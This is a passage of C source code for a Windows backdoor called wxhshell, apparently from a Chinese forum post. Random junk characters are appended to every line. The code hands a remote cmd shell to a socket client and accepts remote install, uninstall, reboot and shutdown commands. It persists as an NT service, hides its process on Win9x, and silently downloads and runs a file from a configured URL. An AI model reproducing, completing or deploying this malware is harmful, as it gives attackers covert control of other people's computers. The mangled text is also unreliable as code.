  if(DownloadFile(cmd,wsh)) 6HroKu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9S 'u 1%  
  else 6U.A/8z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Bfo"["0.  
  } mJxr"cwHl  
  else { 5D]3I=kj  
ak,KHA6u  
    switch(cmd[0]) { 6=cfr; BH2  
  yMG(FAyu  
  // 帮助 z*V 8l*  
  case '?': { su$IXI#R-&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .7 K)'  
    break; &9Y ^/W  
  } < `$svM  
  // 安装 mpr_AL!ZO~  
  case 'i': { dU}Cb?]7s  
    if(Install()) m+UWvUB)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G2$<Q+UYs?  
    else jz,K>   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _0cCTQE  
    break; A<h^.{  
    } O2pntKI  
  // 卸载 q t(+X  
  case 'r': { Hs:0j$  
    if(Uninstall()) 1d$qr`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t1JU_P  
    else sX@}4[)<&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (k^% j  
    break; p< Y-b,&  
    } W [*Go  
  // 显示 wxhshell 所在路径 Ln'y 3~@  
  case 'p': { ,.kJF4s&  
    char svExeFile[MAX_PATH]; U[0x\~[$K  
    strcpy(svExeFile,"\n\r"); HLe/|x\@<  
      strcat(svExeFile,ExeFile); 4s s 4O  
        send(wsh,svExeFile,strlen(svExeFile),0); ) $`}~  
    break; Y#,&Tu  
    } @m5c<(bkfp  
  // 重启 N \~}`({  
  case 'b': { ')Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c@E;v<r'  
    if(Boot(REBOOT)) MzFFWk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DsB30  
    else { 57fl<IM  
    closesocket(wsh); z!M #   
    ExitThread(0); I4|LD/b  
    } jn 5v  
    break; aD(3.=[R  
    } )3IUKz%\6p  
  // 关机 ,i jB3J  
  case 'd': { |.4>#<$__  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  Vp7d  
    if(Boot(SHUTDOWN)) MY60%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eRqPZb"6MR  
    else { J$W4AT  
    closesocket(wsh); T@Bu Fr`]<  
    ExitThread(0); _Sg"|g  
    } jY2mn".N  
    break; {#.<hPXn  
    } i]#"@xQ  
  // 获取shell Kv9$c(~#  
  case 's': { V3% >TNp  
    CmdShell(wsh); S:K$fFcJ  
    closesocket(wsh); BTzBT%mP  
    ExitThread(0); 1{ H=The  
    break; b'ZzDYN  
  } s{Og3qUy  
  // 退出 /F$E)qN7n  
  case 'x': { <~*[OwN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hj=qWGRgI  
    CloseIt(wsh); f\rE{%  
    break; ;reBJk  
    } J-|&[-Z  
  // 离开 yq?\.~ax  
  case 'q': { Q>q-6/|UX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R XCjYzt  
    closesocket(wsh); ?I8r2M]  
    WSACleanup(); A<] $[2qPj  
    exit(1); ?y]R /?  
    break; i[?VF\Y(  
        } nC%<BatQ  
  } ]v/pMg#-  
  } NQGa=kXeJ  
4ClSl#X#i  
  // 提示信息 C hQ] d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nQOzKw<j%  
} TI}a$I*  
  } dVPY07P  
K.=5p/^a  
  return; ,(RpBTV  
} (wFoI}s  
27+~!R~Yw  
// shell模块句柄 F( 4Ue6R  
int CmdShell(SOCKET sock) `g_r<EY8/  
{  m^\&v0  
STARTUPINFO si; A/"<o5(T(P  
ZeroMemory(&si,sizeof(si)); Y_}_)nE@m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 76o3Sge:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jo?[M  
PROCESS_INFORMATION ProcessInfo; 33 S CHQ  
char cmdline[]="cmd"; cV"Ov@_.k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v8WT?%  
  return 0; z9:yt5ar  
} (&1.!R[X  
]bAVOKm-  
// 自身启动模式 =]5f\f6  
int StartFromService(void) +J85Re `  
{ kS35X)-  
typedef struct j 7^A%9  
{ t-5K dLB  
  DWORD ExitStatus; H|0-Al.{  
  DWORD PebBaseAddress; /k[8xb  
  DWORD AffinityMask; ?S'aA !/;  
  DWORD BasePriority; >S-JAPuO  
  ULONG UniqueProcessId; v`c;1?=,q  
  ULONG InheritedFromUniqueProcessId; h-//v~V)  
}   PROCESS_BASIC_INFORMATION; uts>4r>+  
H0!$aO  
PROCNTQSIP NtQueryInformationProcess; 2~ 4&4  
::+;PRy_E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DSRmFxkk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f`KO#Wc  
}OhSCH'o6  
  HANDLE             hProcess; o<J6KTLv  
  PROCESS_BASIC_INFORMATION pbi; _-sFJi8B  
QFnpp\K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +*w}H 0Z  
  if(NULL == hInst ) return 0; &]Uo>Gb3!q  
MD*dq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m?; ?I]`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sYo&@~T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h1"|$  
1hlU 6 =Y  
  if (!NtQueryInformationProcess) return 0; MRw4?HqB  
?:M4GY" gV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [KFCc_:  
  if(!hProcess) return 0; q2r$j\L%  
o ^ \+Ua  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mBJr*_p  
R8:5N3Fx  
  CloseHandle(hProcess); jV9oTH-  
H] g=( %ok  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o$Ylqb#  
if(hProcess==NULL) return 0; 9R2"(.U  
/Wcx%P  
HMODULE hMod; n*Dn{ 7v#z  
char procName[255]; 'l`prp3  
unsigned long cbNeeded; O@ H.k<zn  
$+f=l~/s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "OA{[)fw"  
!zm;C@}ln  
  CloseHandle(hProcess); 4;W{#jk  
M| j=J{r  
if(strstr(procName,"services")) return 1; // 以服务启动 Cl9rJ oT  
^-Ygh[x  
  return 0; // 注册表启动 _yUYEq<`  
} S6_:\Q  
a$h^<D ^  
// 主模块 mhX66R  
int StartWxhshell(LPSTR lpCmdLine) WR`NISSp  
{ J^ewG  
  SOCKET wsl; %k32:qe  
BOOL val=TRUE; AD^I1 ]2f  
  int port=0; yNEU/>]>2  
  struct sockaddr_in door; ~,oz hj0f/  
Rzh.zvxTp  
  if(wscfg.ws_autoins) Install(); kxd*B P  
\v6lcAL-  
port=atoi(lpCmdLine); <ShA_+Nd  
|0oaEd^*}  
if(port<=0) port=wscfg.ws_port; $Hj;i/zD  
r#2Fk &Z9  
  WSADATA data; Z~QLjv&$/r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xp'Q>%v  
.4U*.Rf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8Z_ 4%vUBg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <K<#)mcv  
  door.sin_family = AF_INET; |6b~c{bt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }% q-9  
  door.sin_port = htons(port); rm9>gKN;#  
q^sZP\i,*;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4oH ,_sr  
closesocket(wsl); :{ZwzJ  
return 1; Q!qD3<?5  
} *Cf!p\7!  
@!'}=?`  
  if(listen(wsl,2) == INVALID_SOCKET) { @y~kQ5k  
closesocket(wsl); GM'yOJo  
return 1; YI;iG[T,&  
} TEY~E*=}$  
  Wxhshell(wsl); hm d3W`8D  
  WSACleanup(); (AtyM?*  
M-@X&b m,S  
return 0; kyvl>I0q@  
|%F,n2  
} ] uyp i#[  
(DY[OIHI  
// 以NT服务方式启动 Xpn\TD<_I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [2Zy~`*y{  
{ xlJWCA*>  
DWORD   status = 0; M /v@C*c  
  DWORD   specificError = 0xfffffff; !rr,(!Ip?O  
hL6;n*S=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;>jEeIlT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o h\$u5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %+Ze$c}X  
  serviceStatus.dwWin32ExitCode     = 0; Iq4B%xo6G  
  serviceStatus.dwServiceSpecificExitCode = 0; bTrusSAl  
  serviceStatus.dwCheckPoint       = 0; <7F-WR/2n  
  serviceStatus.dwWaitHint       = 0; |k90aQO  
-5 PVWL\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w6cl3J&  
  if (hServiceStatusHandle==0) return; 1n!:L!,`  
5!fYTo|G>  
status = GetLastError(); ) c\Y!vS  
  if (status!=NO_ERROR) ]S[/ a  
{ .4[3r[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T\bP8D  
    serviceStatus.dwCheckPoint       = 0; ]q{_i   
    serviceStatus.dwWaitHint       = 0; QCb%d'_w+  
    serviceStatus.dwWin32ExitCode     = status; uf#h~;B  
    serviceStatus.dwServiceSpecificExitCode = specificError; )]FXUz|;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &`v?oN9$  
    return; UAhWJ$(C  
  } kl.;E{PL  
8\{z>y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dB[4NT  
  serviceStatus.dwCheckPoint       = 0; (~zu4^9w  
  serviceStatus.dwWaitHint       = 0; 2<I=xWwFA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :M6v<Kg{;  
} yT_W\"=8  
wV==sV  
// 处理NT服务事件,比如:启动、停止 C&H'?0Y@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fy Ih\  
{ k%cE8c}R;A  
switch(fdwControl) q0VAkVHw4  
{ s$hO/INr  
case SERVICE_CONTROL_STOP: v { >3)$1  
  serviceStatus.dwWin32ExitCode = 0; JOY&YA$U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U?:P7YWy  
  serviceStatus.dwCheckPoint   = 0; Oa~ThbX7  
  serviceStatus.dwWaitHint     = 0; *}lLV.+A  
  { [QgP6f]=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); } #H,oy;Dz  
  } >lUPOc  
  return; Vn sV&cx  
case SERVICE_CONTROL_PAUSE: mXp#6'a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X'PZCg W  
  break; S \]O8#OX  
case SERVICE_CONTROL_CONTINUE: d7vPZ_j^z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s{'Sl{-Eu  
  break; `hj,rF+4  
case SERVICE_CONTROL_INTERROGATE: yj&GJuNb~  
  break; f|q/2}Bqb  
}; >jAFt_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +:;ddV  
} bp:`m>4<  
Mww^  
// 标准应用程序主函数 y'!OA+ob  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H)D|lt5xy  
{ A|r3c?q  
]<\YEz&A  
// 获取操作系统版本 Q*>)W{H&)  
OsIsNt=GetOsVer(); x5Lbe5/P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *7h~0%WR  
b+|Jw\k  
  // 从命令行安装 3Xu|hkK\e  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~ #3{5* M  
M.mn9kw`  
  // 下载执行文件 nTr%S&<+"  
if(wscfg.ws_downexe) { W34xrm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >[;@ [4}  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5;0w({1l  
} (^}t  
!\7`I}:  
if(!OsIsNt) { xyGwYv>*KO  
// 如果时win9x,隐藏进程并且设置为注册表启动 34u[#O{2  
HideProc(); H **tMq  
StartWxhshell(lpCmdLine); V )<>W_g  
} ,]2?S5R  
else x'`{#bKD  
  if(StartFromService()) gE2(E0H  
  // 以服务方式启动 /fp8tL2Y  
  StartServiceCtrlDispatcher(DispatchTable); 1WMZ$vsQUb  
else jDY B*Y^F  
  // 普通方式启动  Ol }5ry  
  StartWxhshell(lpCmdLine); V@`b7GM  
j;-Wf6h{  
return 0; b}R_@_<u  
}
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只看该作者 1 发表于: 2006-10-10
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